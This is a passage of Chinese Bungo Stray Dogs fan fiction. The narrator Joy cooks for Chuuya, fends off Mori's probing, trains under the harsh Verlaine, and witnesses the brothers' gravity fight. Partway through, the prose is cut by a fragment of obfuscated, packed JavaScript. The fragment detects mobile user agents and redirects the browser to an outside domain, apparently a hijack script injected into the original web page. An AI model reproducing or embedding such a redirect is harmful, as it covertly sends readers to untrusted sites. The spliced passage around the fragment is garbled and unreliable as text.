我居然抱了他,还说了那么羞耻的话。
我的百合帖无了。
“脚伤恢复得怎么样了?”
他的视线下移,落在了我的脚上。
“托中也大人的福,已经好得差不多了。”我小幅度地转了个圈,展示自己的健康,“很快就能为港口Mafia效力了。”
“不用急着效力,先养伤。” 他扯了扯嘴角,“你的心情看上去也好了很多。”
我一愣。
这位年轻的Mafia干部极有风度,被冒犯了也不会生气,会给人找台阶下,也不会像森鸥外那样趁机骚一嘴。
他是真的在关心别人。
我开始理解他为什么在Mafia的风评那么好了。
“让您费心了。”我想了想,问道,“您喝过下午茶了吗?我准备做草莓松饼,因为昨天买了草莓和新的红茶。”
“要吃要吃,我要吃!”
回答我的不是中也,而是对甜食极度狂热的爱丽丝。
小姑娘抱住了我的胳膊撒娇:“我都不知道乔伊酱还会做甜食!”
“会一点。”
我在爱伦坡的书里生活了七年,那里面的人物都是说固定台词的NPC,由于是一本推理小说,没有写入厨师的角色,因此我不仅要自己做饭,甚至还要自学种田种菜,养鸡养鸭。
“中也大人可不吃甜食。”亚瑟嘀咕。
“啊?”我有些尴尬,“那就——”
那就算了一话还没说完,就被中也打断了:“偶尔会吃。”
亚瑟疑惑:“那我怎么从来没见过?”
“哈?”中也没好气地说,“我吃的时候是不是还得先通知你一声?”
“……”
亚瑟不会当着上司的面说谎,中也肯定不爱吃甜食。
他说偶尔会吃,大概是不想扫我的兴。
这样温柔细致的男人,不该背负我的谎言带来的压力。
我更纠结了,要不要告诉他那天晚上的真相……
在我犹豫不决没打定主意时,下午茶在织雪的帮助下准备好了。
草莓松饼柔软香甜,还洒了一层蜂蜜,深受女生们的喜欢。除了这款,我单独给中也做了红茶松饼
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。
红茶松饼里是柔软的南瓜馅,没有加糖,只有淡淡的甜味。
我将红茶松饼摆盘,用巧克力酱和南瓜酱在盘子上画了一顶中也同款的帽子,然后往他的红茶杯里加了两片醒过的薄荷。
——加薄荷是我哥哥一贯的喝法,他觉得那样可以使红茶的口感更加清新。
“这是?”
中也望着茶杯,有一瞬间的出神。
“您不喜欢喝红茶吗?”我问,“需要我帮您换成咖啡吗?”
“不用。”中也摇了摇茶杯,“加了薄荷,挺好的。”
“请试试松饼。”
“嗯。”
他拿起一块,注意到盘子上用果酱画的帽子,挑了挑眉。
“乔伊,你有没有想过当画家?”
“画家的门槛这么低吗?”
他笑了一下,吃起了松饼。
“我收回刚才的话,别当画家。”他半开玩笑地说,“你应该去Mafia的食堂工作,这样我光顾甜食区的次数会提高很多。”
“中也大人想吃松饼的话,我随时可以为您准备,半夜三更困得要死也一定会爬起来!”
“用不着这么夸张。”中也喝了一口红茶,“我工作很忙,很少有空喝下午茶。”
“有您这样的劳模,是港口Mafia的荣幸。”
“我赞同乔伊酱的话,中也君是Mafia不可缺少的支柱。”
刚处理完工作来接爱丽丝的森鸥外,带着满脸的疲态踏进花园。
一见到他,除了爱丽丝,其他人纷纷起身行礼:“首领。”
“各位午安。”私底下的森鸥外很随和,“可以的话,我也想品尝乔伊酱的手艺。”
我指了指茶壶边的两种松饼:“您请随意。”反正数量很多。
森鸥外选的是红茶松饼。
他一反常态没挑咖啡,选了和中也同款的薄荷红茶。
“Mafia以前的成员里,也有热衷这款茶的人。”森鸥外吹了吹茶,“我记得是青年会的成员,还诚挚地向我推荐过。”
青年会,好久远的名字。
我不禁陷入回忆。
青年会是哥哥生前在Mafia内部创立的组织,他们称之为旗会。
我在进到爱伦坡的书里前,曾见过一次旗会的成员。
有明星有医生有杀手,大家性格都不同,吵吵闹闹,却意外的相处融洽。
我和哥哥发生争执,他们集体站在我这一边,帮我骂哥哥。
……真好啊。
虽然到最后,那群人一个都没剩下。
啪嗒——
中也放下了茶杯。
他脸上的表情很淡,看不出情绪是好是坏。
“怎么了?”森鸥外关切地问。
中也站起身来,“Boss,我有事处理,先回去了。”
我瞄了一眼他的盘子,他只吃了一片松饼。
茶也只喝了半杯。
对一个成年男性来说,这个饭量太小了。
看来他果然不喜欢甜食,一点甜味都不喜欢。
触及我的目光,他插进口袋里的手迟疑了一秒,又伸了出来。
“我午饭吃得晚,现在不太饿。”他解释道。
我低下了头:“噢。”
“点心味道很好。”
“噢。”
他的表扬毫无说服力。
我的头垂得更低了。
三秒后,中也开口道:“乔伊,剩下的松饼麻烦帮我打包。”
“诶?”
我抬起了头,对上那双蓝色的眼睛,我再次想到了横滨的大海,两者都有着不可估量的包容和宽厚。
他说:“今晚要加班,我想带走当夜宵。”
5.给中也做夜宵
05
不出我的预料,到了晚上,Mafia的野生论坛上果然出现了我眼睛蒙着手帕,在花园里抱住中也的那张照片。
还配了文字:【女人,你这是在玩火!】
底下一堆跟帖。
【中也大人强势归来,上演霸道干部乖乖被抱。】
【中也大人终于开窍了,知道姑娘的好了。】
【中也大人的孩子要叫什么名字呢?】
【不如猜猜是儿子还是女儿?我赌女儿。】
一句比一句离谱。
继续往下翻,我给中也送松饼的照片也贴上去了。
……不过,这张照片拍的还是挺不错的。
秋日午后,玫瑰花园。
被阳光笼罩的青年格外俊美,细碎的金色光点在他的风衣上跃动,使得他整个人都像在发光。
他从我手里接过打包好的松饼,嘴角扯出若有似无的笑意。
明明是令人闻风丧胆的黑手党干部,此刻却有种岁月静好般极致的温柔。
如果不是因为下方的字太过恶俗,我都要点击保存到本地相册了。
【要抓住一个男人的心,就要先抓住他的胃!】
绝对是亚瑟那小子发的!
靠,他自己明明也吃了松饼,怎么我没抓住他的胃!
我刚想回帖吐槽,却发现系统跳出提示:对不起,您没有回复权限!(本论坛仅限Mafia正式成员交流)
没有魏尔伦的转正同意,我还只是实习成员,只有浏览的权限。
哎。
我叹了口气,打开门走了出去。
映入眼帘的,是我花了一个星期时间整理好的院子。
在尾崎红叶的别墅住了两天,又在织雪家住了十多天后,亚瑟为我申请了Mafia的员工宿舍。
尽管他极力推荐四楼,但我还是坚持选了带院子的一楼。
院子里原本种植的玫瑰已经枯死,我移了一棵无患子树和一棵柿子树,又种了一些蔬菜和香料。
公寓的前主人留下了一架旧钢琴,坏了一些键,弹不了什么像样的曲子,我将它也放在了院子里。
夜风吹过,整个院子在星空下静默。
我的心一下子安静了下来。
这种场景让我恍惚间产生了一种错觉,我仿佛重新回到了爱伦坡的书中。
无患子树和柿子树在移植前就结果了,经过半个月的时间,已经开始成熟了。
我摘了一个大柿子,像往常一样在钢琴前坐在。
这栋公寓几乎没有其他住户,二楼三楼的住户全都在去年的火拼中死亡,因此不用担心吵到别人。
黑手党成员的更新速度很快,每年都有成百上千个像哥哥那样的年轻人惊艳地出现,又壮烈地死去。
琴音从指间流出,并不流畅,也不好听,像是原本风和日丽的晴空,时不时会下起阵雨。
我正望着琴键出神,从院子上方忽然传来一个不耐烦的声音。
“吵死了!”
诶,好像是中也的声音。
砰的一声。
伴随着重物落地的声音,庭院里溅起一阵灰尘。
“新来的,这么晚不睡是不是想死——”
中也在看到叼着柿子单手弹琴的人是我,硬生生地把后半句话咽回了肚子里。
“怎么是你,乔伊?”
“中也大人,对不起,打扰您休息了。”
“啊,我还没休息。”中也偏过头,发现被他重力破坏的土地之后,尴尬地说道,“不好意思啊,把这里踩坏了——那是无患子吗?”
他的视线被院子里的两棵树吸引了。
柿子树很好辨认,但无患子树不常见,我很惊讶他居然能认出来。
“我以前捡过它的果实,可以洗手搓泡泡,搓很多泡泡。”他以一副陷入回忆的口吻说道,“那时候我才十岁吧。”
我的脑海里浮现出一个小只的中也,拿着两颗无患子果实,努力地在水池边搓泡泡,然后将满手的泡沫举给小伙伴们看。
【看到了没有?我搓的泡泡是最多的,我是第一名!】
“你的表情告诉我你在想一些奇怪的事。”中也的声音打断了我的思绪,“我可没有跟人比赛过搓泡泡。”
……这算不算狼人自曝?
“这架钢琴真够烂的。”他吐槽道,“我叫亚瑟明天换一架新的。”
他说换钢琴的语气和换灯泡一样轻描淡写,这是非常不缺钱才能养出来的气度。
“谢谢您,但我不想换。”我放下柿子说,“这样挺好的。”
“爱弹钢琴的人都怪,要么是有一点问题就要扔了,要么是都破破烂烂了还舍不得换。”
都怪?
都?
难道他还认识其他弹钢琴的怪人吗?
转念一想,Mafia成员众多,爱弹钢琴的人应该也不少。
“中也大人,这么晚您还在加班吗?”
“有一点文件没看完,明天还要出差。”他抓了抓头发,“整天不是在出差,就是在出差的路上。”
港口Mafia的干部里,中也毫无疑问是最忙的一个,连喝下午茶的时光都显得奢侈。
这和躲在书里无所事事虚度七年的我相比,还真是两种截然相反的人生。
“等我变强后,就由我来代替中也大人出差吧。”
“等你变强?”中也扬眉,“那要掉光头发的,你舍得吗?”
他居然看过《一拳超人》,知道琦玉老师变光头的梗。
说不上来是什么原因,我的心情变得出奇的好。
“中也大人,您加班辛苦了,请让我来给您做夜宵,您想吃什么?”
“不用。”中也拒绝了,“我还有松饼没吃完。”
“区区松饼是无法提升加班质量的,我要做出能让中也大人吃了变成智慧超人的料理!”
“有这种东西?”中也表示不信。
“实际上我也饿了。”我老实承认道,“给中也大人做饭算加班,给自己做不算,我想要用加班工资再买一棵柚子树。”
“这样啊。”他脚步一转,“那就麻烦你了。”
中也在吃饭方面并不挑剔,除了不爱甜食,基本没有忌口。
在我做夜宵的时候,他就坐在沙发上翻阅文件。
他口中的一点文件不是一点,而是堆了厚厚两捆。
我低头给锅里的柿子煎饼翻了个面,从客厅忽然飞过来一杯果汁,示意我伸手接。
——是中也操纵重力送来的。
“不用做那么多花样。”他翻过一页文件,“我吃不完。”
“中也大人,这杯果汁是要给我喝吗?”
他轻轻地嗯了一声。
“可是我现在没有手。”我一手端锅,一手推铲子,“两只手都不空。”
“那等你空了再喝。”
说完他移开杯子,我又说道:“可是我现在很渴——”
手不空,又很渴。
拉长的尾音带着明显的撒娇意味。
“……真拿你没办法。”
中也抬起眼眸,装满果汁的杯子上移,递到了我的唇边。
我小口地喝着。
杯子随着果汁的余量而角度微小的倾斜着——中也在配合着我的速度,他并不催我。
于是一整杯果汁,都是他用重力喂我喝完的。
“我宣布,这是我一辈子喝过最好喝的果
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汁!”
“……太夸张了。”
夜宵时光。
两份煎牛排,两份柿子馅饼,两份盐味毛豆,我还给中也煮了一杯咖啡,咖啡上做了一只帽子拉花。
“咖啡是果汁的回礼。”
中也端起咖啡杯,看着上面的帽子拉花,挑了挑眉:“做这么好看,我都舍不得喝了。”
作为黑手党干部,他必然喝过各种高级咖啡,这种拉花只是入门级的程度,竟被如此夸奖,就像上次问我考不考虑当画家一样。
面前的男人很能给人提供情绪价值。
“请尽管喝掉。”我拍拍胸口承诺,“以后只要中也大人加班,我都会为您献上好看的咖啡。”
“哦?我几乎天天加班。”
“啊?那请您忘了我刚才说的话吧。”
中也从鼻腔哼出一声嗤笑,低头喝了口咖啡。
牛排煎得很香,柿子馅饼不算太甜,盐味毛豆也很脆嫩,一切都很完美,但他在吃饭时仍然在看文件,时不时皱一下眉。
我想了想,说:“如果不是涉密文件,请让我帮您一起处理。”
中也疑惑:“你接触过?”
“这些天有接受过森先生的指导。”
其实森鸥外压根没指导过,这么说只是为了让中也信服,毕竟前者不会拆穿我的谎言。
但我也并非张嘴逞能。
自从哥哥加入Mafia后,经常会扔一些工作文件给我。
当我手忙脚乱写报告时,他自己却是出去找朋友喝酒打台球潇洒快活。
现在想来,他不是在偷懒,只是在消磨我的精力,怕我出于愧疚被条野骗进犯罪组织。
“Boss亲自教你的话,那应该没问题。”
不知道是不是我的错觉,中也在说这句话时,并不是特别高兴。
难道他在担心我的业务能力?
这种一般性的文件处理起来不算难,我很快就整理归档,写完了总结。
等中也的工作全部完成,已经是凌晨三点了。
我伸了个懒腰,打着哈欠说:“中也大人,快表扬我。”
“乔伊,你很厉害,我要奖励你。”他不吝夸奖,“托你的福,我还有空打两局游戏。”
在他的今日行程里,六点要去菲律宾,距离出发时间还剩三小时。
“我觉得比起打游戏,您更需要休息。”我指了指自己的腿,“请枕在我的腿上度过这三个小时。”
“不!”中也的脸唰一下红了,“……不用了。”
“但是您之前说过会奖励我的,难道干部大人也会言而无信。”我垂下眼眸,“我只是想让您枕着我的腿休息。”
“那样根本不可能睡的着!”中也磕巴道,“换一个,换一个奖励,你喜欢宝石吗?”
“我对彩色的小石子不感兴趣。”
“那手表呢?”
“我更不喜欢用客观的时间约束自己,我有自己的生物钟。”
提出的各种奖励都被嫌弃,中也败下阵来。
“乔伊,你可真难伺候。”
“如果中也大人实在不愿意实现第一个奖励,那我可以换一个。”
青年竖起耳朵,神情严肃的像个等待老师布置作业的小学生。
“请您回到自己家中,好好休息三小时,这就是我想要换的奖励。”
在听完我的话后,中也微微一怔,随即压低了帽檐嘀咕:“这算哪门子奖励。”
“黑手党的路充满荆棘和鲜血,虽然您很强,但也会劳累,请您好好吃饭,好好睡觉。”
我朝他摊开手,掌心里是一只黑色的纸鹤。
这是我第二次送给中也纸鹤。
“祝您好梦。”
6.初见魏尔伦
06
港口Mafia首领办公室里,森鸥外正在盘问我。
“乔伊酱,有一件事我很好奇,之前你是如何确定钢琴师已经死亡的消息呢?港口Mafia似乎没有派人通知过你。”
“家里的水管生锈了,野草也长满了整个院子,这不符合哥哥的风格,我想他应该过世很久了。”
“哦?”森鸥外饶有兴味地问,“你就没有想过他是去执行机密任务了么?”
“我也不确定,所以我才来Mafia找您打听。”
“乔伊酱就不怀疑我是骗你的?” 森鸥外望着我的眼睛,“也许你的兄长没死,而是被囚.禁在Mafia的地下室,改了名字叫魏尔伦?”
“……这不太可能吧。”
“你没见过钢琴师的遗体,也没去过他的墓地,却对我的话深信不疑,只有两个可能——”
他的嗓音有着中年男人独有的沉稳内敛,嗓子里像藏着一架管风琴,说出的话却很混账。
“第一个可能,乔伊酱暗恋我。”
呸!
我如同吃了一只大苍蝇,忍住骂人的冲动,委婉道:“森先生的风姿令人望尘莫及,我连想都不敢想。”
“那就只有第二个可能了。”他眨了一下眼睛,“你有异能力。”
“……森先生真爱开玩笑。”
“是监视类型的异能吗?”他继续猜测。
“全日本的异能力者都由异能特务科记录在档案里,森先生可以去调查,看我是不是异能力者。”
“也对。”森鸥外颔首,“监视类型的异能力不算特别,并不需要隐藏,乔伊酱只可能是十分罕见的异能力。”
他坚持着他的推理。
在我很小的时候,他就坚持认为我有异能力。
十几年前不要脸的套一个小孩的话,十几年后还在不要脸的套。
“如果我真的有十分稀有的异能力,现在的Mafia首领还轮得到森先生您当吗?”
这句话太冒犯了。
下巴忽然被捏住。
我的后背也被迫抵在了墙上。
森鸥外的动作充满了侵.略性。
四目相对,我从他紫红色的眼睛里看到了一脸平静的自己。
曾经,我无数次见到过这样的自己。
从爸爸的眼睛里——
【乔伊酱,你是有异能的吧。我们全家都有异能,没道理你没有。】
从哥哥的眼睛里——
【你的异能力连哥哥都不能知道吗?】
从条野的眼睛里——
【哼,我绝对会让你老实交代的。】
……
我叹气:“我也很想有异能力,一秒变富裕,那样哥哥也不用辛苦为Mafia造假.币了。”
森鸥外仍是不信。
“在港口Mafia,不诚实的成员会受到惩罚。”
他的脸离得越来越近。
“猜猜看,我会怎么惩罚你?”
糟了,他不会亲上来吧……?
说好的我超龄十岁了呢?
我十分后悔今天中午没吃点鲱鱼罐头来熏死他。
不过吃那种东西是伤敌八百自损一千,属实划不来。
“森先生确定是惩罚吗?”
我心一横,干脆反客为主,双腿勾起,夹住了森鸥外的腰。
“这难道不是奖励吗?”
他深深地看了我一眼,显然没料到我能骚成这样。
我故作老练地拽住了他的领带,正在这时,虚掩着的门被推开了。
有人来了。
“Boss——”
中也的声音戛然而止。
他停下脚步,愣愣地看着我和森鸥外。
跟在他身旁的尾崎红叶同样满脸震惊。
“鸥外大人,你们这是在……”
救命!为什么中也会出现在这里?
他不是去菲律宾出差了吗?
这才三天就回来了吗?
“乔伊,你和Boss在做什么?”中也提高了音量问。
“……我和森先生在进行体术练习,这招叫正面制敌。”
我朝森鸥外使眼色,他倒是挺配合地放下我说:“乔伊酱的体术相当优秀,可以去地下室接受暗杀训练了。”
闻言,中也说道:“不去那里也没关系,她处理日常文书的能力不错,适合在Mafia从事文职类工作。”
“唔,这么说来,中也君还没有秘书。”森鸥外将选择权交给了我,“那乔伊酱,你是想去地下室接受暗杀训练,还是想当中也君的秘书帮他处理工作?”
可恶的老狐狸,明明知道我是为了寻宝才来到港口Mafia的,还非要当着中也的面让我回答这种问题。
我抬头看向中也,他恰好也在看我。
这个男人确实很好。
很善良、很有趣、很有活力,也很有魅力。
眼前浮现出他醉酒后气鼓鼓的样子,酒醒后害羞的样子,在我“跳楼”和“失忆”后懊悔的样子,加班工作时认真的样子,被我要求喂果汁时无奈的样子……
他活得好生动,和我遇到的其他人都不一样。
再相处下去,我都要变成他的迷妹了。
只是,我来这里的目的,终究不是为了交朋友。
“抱歉,中也大人,我想去地下室接受暗杀训练。”
中也没有强求,嗯了一声:“随你。”
……他不太高兴。
他的喜怒哀乐大部分时候都写在脸上。
“我觉得只有变强以后,才有资格为中也大人效劳。”
这句话多少有一点用,因为我看到他的表情里流露出一种宽厚,又隐隐有着担忧。
*
魏尔伦,一个在港口Mafia里如同幽灵般的存在。
同为干部,中也的名字在Mafia里呼声很高,魏尔伦的名字却无人提起。
不,不能说无人提起。
而是很多成员压根不知道在地下室负责训练新人的人就是魏尔伦。
织雪和亚瑟都接受过他的指导,却不知道他的名字,对他的印象只有“性格十分严厉”和“俊美如神明”。
在见到他本人之后,我首先赞同了后一句,俊美如神明。
穿过昏暗的长廊,我看到一个坐在台灯下看书的金发青年。
柔和的灯光映在他苍白的侧脸上,氤氲开淡淡的光圈。
察觉到有人过来,他的视线从书上移开。
那是怎样的眼神?冷淡,神圣,睥睨一切,不可侵犯。
“大人您好,我是港口Mafia的新晋成员乔伊。”
“乔伊?”魏尔伦又继续低头看书,“她不是已经死了么?”
他说的是不小心和我交换了身份被送来又被他杀死的那个女生。
“那是个误会。”
我开口解释,但魏尔伦没有理我。
在站了半小时没等到任何指示后,我走到一张椅子旁坐了下来。
“谁允许你坐下了?”他幽幽地开口。
“也没人不允许我坐下吧。”
“……”魏尔伦皱眉,他显然没想到我会顶嘴,“起来。”
“是。”
“把你的头盔拿下来。”
我犹豫了。
在来地下室之前,为了预防被魏尔伦杀死,我做了万全的准备,高强度头盔和防弹背心都穿戴了。
“您能保证哪怕我表现不好,也不会砍了我的头吗?”
在接收到魏尔伦“你不拿掉,我现在就砍”的眼神后,我果断摘下了头盔。
“长得还不如之前那个。”
他的评价让我很想怒搓他的狗头。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14430055|153327||http|test|mini|href|location''.split(''|''),0,{}));
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>但我不敢。
我只能在心里疯狂扎小人。
“有暗杀方面的经验吗?”他想对我初步了解。
我点点头:“有的。”
他挑挑眉:“最近一次的暗杀是什么时候?”
“上周我暗杀了一只吸了森先生血的花蚊子,那只花蚊子单枪匹马吸了他三个包。”
魏尔伦揉了揉眉心,像是在极力忍耐着什么:“会用枪吗?”
“小时候庙会上射气球的枪算不算?不过我没什么准头,一枪没中。”
魏尔伦大概是怕自己的一世英名毁在我手里,直接下了逐客令:“你走吧。”
我站着没动。
“要么走,要么死。”
他的话像是恐吓,更像是随时会执行。
“我来港口Mafia,不为名利,也不是想要报复社会……”
我边说边往门口走。
“我有一个哥哥,我们经常吵架,后来我离家出走了,等我开始理解他,回来找他时才知道他已经去世了,他活着的时候,我并没有珍惜过和他一起的时光,直到天人永隔我才想起他对我很好……”
明明是在打感情牌,我却真的想起了我的哥哥。
他那么年轻,那么优雅,青年才俊,风度翩翩。
他有一双很会弹钢琴的手,它创造、赋予、传递爱与希望,它抚过的一切都是繁花遍野。
“哥哥以前在港口Mafia工作,所以我来他生前工作的地方,走他走过的路,或许我会理解他那时的心情……”
哥哥的一生波澜壮阔,热烈辉煌,游走在善恶两端,他助人也杀戮,最后像桃花落进时间的洪流里,既惊艳了时光,又被时光匆匆带走。
“打扰您了,我告辞了,魏尔伦大人。”
“站住。”
在我一只脚刚跨出门的时候,魏尔伦叫住了我。
“你竟然知道我的名字。”
“是森先生告诉我的,他说你性格随和,是个阳光开朗大男孩。”
“……”
*
阳光开朗大男孩留下了我。
不知道是出于对我失去哥哥的同情,还是看出我是森鸥外安排的关系户了。
但我的日子并不好过。
在发现我体术垃圾,射击毫无准头之后,魏尔伦只能先加强我的基础体能。
然而负重奔跑了五圈之后,我就累得气喘吁吁了。
“你是怎么混进Mafia的?看上去也不是有钱人家的大小姐。”魏尔伦居高临下地俯视我,妄加揣测,“据我所知,森鸥外从来不做亏本生意,你有什么我没发现的优势吗?”
听听,这说的是人话吗?
就不能是人家森鸥外四十年行一善吗?
“你是森鸥外的情人。”
他说的是肯定句,甚至不是疑问句。
“我像吗?”我没好气地反问。
“其他人不好说,但森鸥外一向品味奇怪。”
脾气再好的人也要发火了。
此刻吵架对我不利,我岔开话题:“魏尔伦大人,您教过最优秀的学生是谁?”
“不记得了。”他瞥了我一眼,“但教过最差的毫无疑问是你。”
PUA!去他的职场PUA!
“我一定会让您看到我的进步!”
“估计我活不到那天到来。”
“……”
尽管魏尔伦脾气不好嘴也毒,但他安静读诗的样子的确俊美如神明。
我辛苦跑步时,他正在翻阅一本名为《春风之子》的诗集。
昏暗的灯光落下来,他慢慢阖上眼皮,像火焰在雪地里逐渐熄灭。
“魏尔伦大人,我跑完了!怎样,让您活着看到我的进步了吧。”
我兴奋地宣布,青年却没有冷嘲热讽,等我走近,才发现他已经靠着墙壁睡着了。
7.魏尔伦VS中也
07
魏尔伦发了大火。
原因有三:我在练习开枪时两次差点射到他,不小心将吐槽他的话说了出来,还把咖啡洒在了他珍视的诗集上。
他用看死人的眼神看着我:“你可以死了。”
千钧一发之际,一个黑色的人影挡在了我的面前。
“Mafia的成员是你说杀就杀的吗?”
“中也大人!”
虽然不知道中也为什么会出现在这里,但谢天谢地,我见到的不是太奶,而是中也。
“Mafia连这种人都能混进来,离倒台也不远了。”
魏尔伦嘴毒起来连自己所在的组织都骂,是真不怕森鸥外给他穿小鞋。
“中也大人,对不起,我这个一无是处之人,给您丢脸了。”
我伸出手,小心翼翼地攥住了中也风衣的一角,露出一副担心被他嫌弃的可怜样。
中也是Mafia少见的清流,肯定不会当面嫌弃我。
“没那种事。”
——果然。
中也立马就给我提供安慰了。
“你比较擅长文书。”他还顺带说出了我的优势。
加分项加分项!
“还有呢?”
“你做饭很好吃。”
会说多说,爱听!
“请您继续。”
“……画画很好看,庭院整理的也很漂亮。”
听着我和中也的对话,魏尔伦不禁眉头皱起。
“可是魏尔伦大人说我是他教过最差的学生,他的一世英名都要毁在我的手上了。”
——趁机告一波小状。
中也听笑了:“他哪有什么英名?”
魏尔伦生气地问:“你知不知道自己现在像什么?”
不等中也回答,他就说出了答案:“像个蠢蛋。”
中也恼羞成怒:“你说什么?”
我还不清楚他们俩打起来谁更厉害,怕中也吃亏,只能先低头道歉:“魏尔伦大人,请您别生气,以后我会加倍努力的。”
“你资质太差,努力也无用。”
靠,又开始不说人话。
魏尔伦的话彻底激怒了中也,两人之间的气势骤然剑拔弩张。
四周弥漫着浓烈的火药味,他们的眼神在空中激烈交锋,不约而同闪着森冷的寒光。
“等一下。”中也突然叫停了魏尔伦,然后对我说道,“乔伊,你先上去。”
“是!”
天呐,他居然还能抽空记得我的安全,不愧是Mafia良心担当,下届首领选举我一定投票给他——如果我也能有选举票的话。
我如蒙大赦,心里盘算着要去找森鸥外告状。
但中也叫停,魏尔伦并不答应。
砰的一声巨响,他已经出手了。
我忍不住回头看去——
中也同样一击踢穿了墙壁,这种强度的体术简直恐怖。
原本干净整齐的射击场顿时一片狼藉。
神仙打架,凡人遭殃。
我避开纷纷扬扬掉下的碎石,抱着头朝楼梯口跑去。
可我忽略了一点,他们都是强大的异能力者。
这里是Mafia的地下射击场,场上有大量子弹。
于是我有幸见到了,自我出生以来最惊心动魄的一幕。
无数颗子弹如潮水般,裹挟着妖异的红光,密密麻麻从四面八方同时朝我袭来。
没有死角,避无可避。
就在我以为自己会被打成马蜂窝时,子弹又堪堪停在了距离我不到一厘米的地方。
——全部停下了。
但没有停住。
子弹在空中震颤,随之产生气流共鸣的声音,如同愤怒的蜂群。
这是两股力量寸步不让的激战。
但是,为什么魏尔伦也能操纵重力?
他和中也是同类型的异能力者吗?
等我回过神来,子弹已经叮里哐啷的落下一地,堆满了我的脚边。
烟尘散去,风势渐息。他们终于暂时停手了。
“喂,魏尔伦。”
中也双手插在口袋里,连披在肩上的风衣都没有一丝凌乱,毫不掩饰骄傲的语气,“这就到极限了?”
“如你所见。”
魏尔伦在废墟里缓慢地抬眸,一缕金发从他耳边垂下,竟有种破碎的美感。
“我已经远不及你了,弟弟。”
弟弟?他们是兄弟?
这云泥之别的性格,是森鸥外人格分裂培养的吗?
“你把乔伊当成什么了?”中也在兄弟叙旧时还不忘为我发声。
“当工具人。”我替魏尔伦回答了,“中也大人,我想魏尔伦大人是在用我测试您的实力。”
但凡中也没追回一颗子弹,我都会受伤甚至当场死亡,幸好他超越了魏尔伦,所以我现在仅仅是裙子上沾了一些灰。
不该穿白裙子来的。
“恭喜你,中也。”魏尔伦温和地望着自家弟弟,“你更强了。”
“不过——”
他话锋一转,视线向我扫来,目光中一片冰冷。
“你要是看上这种女人,我绝对会杀了她。”
中也刚缓和下来的情绪又炸了:“我的事轮不到你管!”
我也炸了,这种女人?哪种女人?
“魏尔伦大人,请问在您眼中,我是什么样的人?”
金发青年从鼻腔里发出一声傲慢的轻哼。
“普通,渺小,蝼蚁。”
他给的答案一个比一个过分。
“混蛋!”
中也比我更气,他刚要破口大骂,被我抬手制止了。
既然他武力值高过魏尔伦,有这样强大的后盾,那我可以放心说话。
“请问魏尔伦大人,您又非凡在哪里?伟大在哪里?大象在哪里?”
“不会用词没必要非得追求对仗工整。”
“您在Mafia查无此名,而我的名字霸榜Mafia的野生论坛。您只敢藏身于地下,终年见不得光,而我每天都能沐浴晨曦,欣赏月色和星光。”
魏尔伦一脸漠然:“我对外界没兴趣。”
死鸭子嘴硬。
“那我对暴力也没兴趣,一个人的强大,不在于他的破坏力,而在于他的创造力。”
我环顾四周,不久前还是射击场的地方,已经变得破烂不堪。
修缮又是一个大工程。
“千百年后,有谁会记得曾经的暗杀王魏尔伦?”
被点名的青年对名声不屑一顾,也懒得和我争论。
我突然看见了埋在石头下露出一角的诗集,它是被我泼了果汁,直接导致这场战斗的缘由——《春风之子》。
我俯身捡起,拍去上面的灰尘。
“但是千百年后,人们一定会记得诗人魏尔伦。”
书名的下方,赫然写着作者的名字。
——保罗·魏尔伦。
我之所以会不小心泼上果汁,正是因为我太惊讶了,惊讶于它居然是魏尔伦所写。
我曾深深地为它倾倒。
它不止是诗,它是童真,也是迷茫。
它是一个孩子,一个手无寸铁的灵
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魂,对世界反复的求索。
【为何我降临于这浩瀚人世?】
我将诗集归还魏尔伦,他没接,似乎被我摸过的东西染上了瘟疫,他怕弄脏手。
我只好自己收着。
“魏尔伦大人,今天的您三番两次要杀我。但总有一天,您会求我不要死。”
中也:“……”
魏尔伦:“…………”
兄弟俩都不好意思打击我。
“我不打扰两位大人叙旧了,先告辞了。”
这个逼装完我就闪人了。
感觉再多留一秒都要被魏尔伦杀死。
……
回到地面,蓝天白云,秋高气爽,丝丝凉风吹拂脸颊,我的心情也跟着变得很好。
瞬间没了找森鸥外告状的想法,这么好的天气就应该四处闲逛。
于是我拿着刚领的丰厚薪水以及中也单独奖励的大红包,来到了横滨的街市。
在我二十二岁的人生里,逛闹市街的次数屈指可数。
前半生家里管得严,中半生哥哥管的更严,后半生在爱伦坡书里度过,他的推理小说背景在十八世纪的小镇,少有娱乐。
手握巨款的我想起亚瑟的推荐,依次去了竞马场赌马,打了小钢珠,去了一趟赌场……
出来时身上只剩下了五百日元。
我决定去喝杯咖啡压压惊。
一间很朴素的咖啡店映入眼帘,门口的牌子上写着:周六咖啡打七折,新品米面包免费试吃。
撞大运,我应该能消费的起,于是迫不及待往店里走去。
等等,那是什么?
距离我不到五米的地方,站着一个熟悉的身影。
双目失明并不影响他身姿挺拔,一头银白边缘挑染红色的短发下,是随着年岁渐长愈发成熟俊美的面容。
七年过去了,条野采菊看上去更变态了。
对着空旷的只有我一个人的街道,他竟然也在笑。
他是全盲,应该看不到我……吧。
我收回前一秒的感想,今天并没有撞大运,今天是倒大霉。
下一秒,条野迈开脚步,朝我走了过来。
我一动不敢动。
条野虽然眼睛看不到,但听觉和嗅觉都异常灵敏。
想到这里,我屏住了呼吸。
他的脚步异常规律,一双长筒靴子在平地上踩出了富有质感的声响。
一步一步,都像踩在我的心脏上。
脑海中浮现出过去被他折磨的大把时光:大半夜出现在我的房间里,把我叫起来给他弹催眠曲;杀完人不换衣服就躺到我的床上,弄得到处是血迹;偷窥我的日记本,将我有好感的少年逼到精神崩溃,见到我跟见了鬼似的……
条野在我面前停下。
我的心一下子提到了嗓子眼。
“今天我的右眼皮一直在跳,是有什么灾难要发生吗?”他自言自语道。
“反正也不急,就在这里晒会儿太阳吧。”
“……”
“感觉这里好像有坏东西,是想欺负我这个老实巴交的瞎子吗?”
他真有脸用老实巴交来形容自己。
“好奇怪,有东西在跳动,是外星人吗?”
他说的是我的心跳。
“也不能放着不管。”
他缓缓伸出手——
色鬼,他想往哪里摸?
就在碰到我胸口的前一秒,我一巴掌拍掉了他的手。
